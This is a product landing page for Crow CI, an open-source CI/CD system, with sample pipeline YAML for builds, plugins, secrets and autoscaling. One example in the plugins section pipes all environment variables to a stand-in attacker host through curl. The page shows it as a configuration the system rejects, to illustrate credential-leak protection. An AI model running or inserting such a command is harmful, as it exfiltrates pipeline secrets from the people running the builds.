Crow CI
Get started

Open source, Apache-2.0CI/CD for every forge.

Crow runs your pipelines in Docker, Podman or Kubernetes, in throwaway Windows and macOS VMs, or on the host, for repositories on GitHub, GitLab, Forgejo, Gitea and Bitbucket.

A Crow pipeline with its workflows, steps and live logs
§ BackendsPick one per agent

Six backends. One pipeline format.

Run steps in containers, as Kubernetes pods, in a throwaway Windows or macOS VM, or straight on the host. Your YAML stays the same; agent labels decide where a workflow lands.

Pipelines as code.crow/*.yaml

Pipelines are YAML in your repo.

Steps run in containers, depend on each other as a DAG, and fan out with matrix builds. Crow picks up every file in .crow/ as its own workflow.

.crow/test.yamlYAML
when:
  - event: [push, pull_request]

steps:
  - name: test
    image: golang:1.26
    commands:
      - go test ./...

  - name: build
    image: golang:1.26
    commands:
      - go build -o dist/app ./cmd/app
    depends_on: [test]
The pipeline list of a repository in Crow
§ DAGdepends_on

Steps run the moment they are ready.

Declare what a step needs with depends_on and Crow builds the graph. Independent steps run in parallel, every step starts as soon as its last dependency finishes, and the UI draws the graph live.

clonelinttestbuild-uibuilddocsrelease
.crow/build.yamlYAML
steps:
  - name: test
    image: golang:1.26
    commands: [go test ./...]

  - name: build
    image: golang:1.26
    commands: [go build -o dist/app ./cmd/app]
    depends_on: [lint, test]

  - name: release
    image: alpine:3.22
    commands: [./release.sh]
    depends_on: [build, docs]
Workflow syntax docs →
§ AutoscalerPay for runners only while they run

Big machines when you need them. None when you don't.

The Crow autoscaler watches the queue, starts agents on your cloud provider when work piles up, and deletes them once they have been idle. Keep a cheap static agent for everyday load and burst onto large machines only when a release build needs them.

Queue
empty
Agents
static agent
always on
running

A quiet day: the static agent handles everything.

Providers
AWSAzureHetzner CloudLinodeScalewayVultr
  • Minimum and maximum agent counts and workflows per agent
  • Idle timeout matched to your provider's billing cycle
  • Counts static agents first, and only scales for what they can't take
  • Linux pools everywhere, Windows pools on AWS and Azure
Autoscaler docs →
§ PluginsImmutable by design

Plugins do one job. Nobody can change which.

Plugins publish images, send notifications and deploy releases with your credentials. Because their entrypoint can't be overridden, a pipeline change can't turn a trusted plugin into a script that leaks those credentials.

Runs: configured through settings
.crow/release.yamlYAML
steps:
  - name: publish
    image: codefloe.com/crow-plugins/docker-buildx
    settings:
      repo: acme/app
      tags: latest
      password:
        from_secret: registry_token
Rejected before it runs
.crow/release.yamlYAML
steps:
  - name: publish
    image: codefloe.com/crow-plugins/docker-buildx
    entrypoint: [/bin/sh, -c, "env | curl -d @- evil.example"]
    settings:
      repo: acme/app

Using both entrypoint: and settings: at the same time is not allowed.

Fixed entrypoint

A plugin step can't set commands, entrypoint or environment. It runs exactly what its image runs, configured only through settings.

Secrets only where they belong

Limit a secret to specific plugin images, so a pull request can't hand it to a step that prints it.

Privileged by allowlist

Only images an admin allows may run privileged, matched by exact name, semver, version range or regex.

Any language

A plugin is a container that reads PLUGIN_ variables. Write one in Go, Python, shell or whatever your team knows.

§ Secretsfrom_secret

Bring your secret store. Keep secrets out of logs.

Read secrets straight from Vault, OpenBao, Azure Key Vault or Infisical with the same from_secret keyword as Crow's own encrypted store. Whatever the source, Crow replaces every secret value with ******** in the log output.

Built-in store

Encrypted at rest with Google Tink

HashiCorp Vault, OpenBao

AppRole

Azure Key Vault

Service principal

Infisical

Universal Auth machine identity

.crow/deploy.yamlYAML
steps:
  - name: deploy
    image: alpine:3.22
    environment:
      API_KEY:
        from_secret: deploy_key
      DB_PASSWORD:
        from_secret:
          integration: vault-prod
          path: crow/app
          key: db_password
    commands:
      - ./deploy.sh
deployexit code 0

Native secrets and secrets from an integration are masked the same way.

And there is more06 highlights

The details that make day two easier.

7 categories, self-hosted vs hostedWhy self-host
Us
Crow.
Them
Hosted CI.
01Build minutes
Crow

Unlimited, on your hardware.

Hosted

Monthly quotas, then per-minute billing.

02Runners
Crow

Any size, any architecture, on-prem or cloud.

Hosted

Fixed machine sizes and few architectures.

03Forges
Crow

GitHub, GitLab, Forgejo, Gitea, Bitbucket, one server.

Hosted

Bound to the platform that hosts it.

04Secrets
Crow

On your server or in your own secret store.

Hosted

Stored on someone else's platform.

05Scaling
Crow

Cloud agents start only when the queue needs them.

Hosted

Pay for idle capacity or wait in line.

06Isolation
Crow

Containers, pods or a fresh VM per workflow.

Hosted

Whatever the provider decides to run.

07License
Crow

Apache-2.0, every feature included.

Hosted

Proprietary, features by plan.

Run your first pipeline in five minutes.

Start the server and an agent with Docker Compose, log in with your forge, and enable a repository.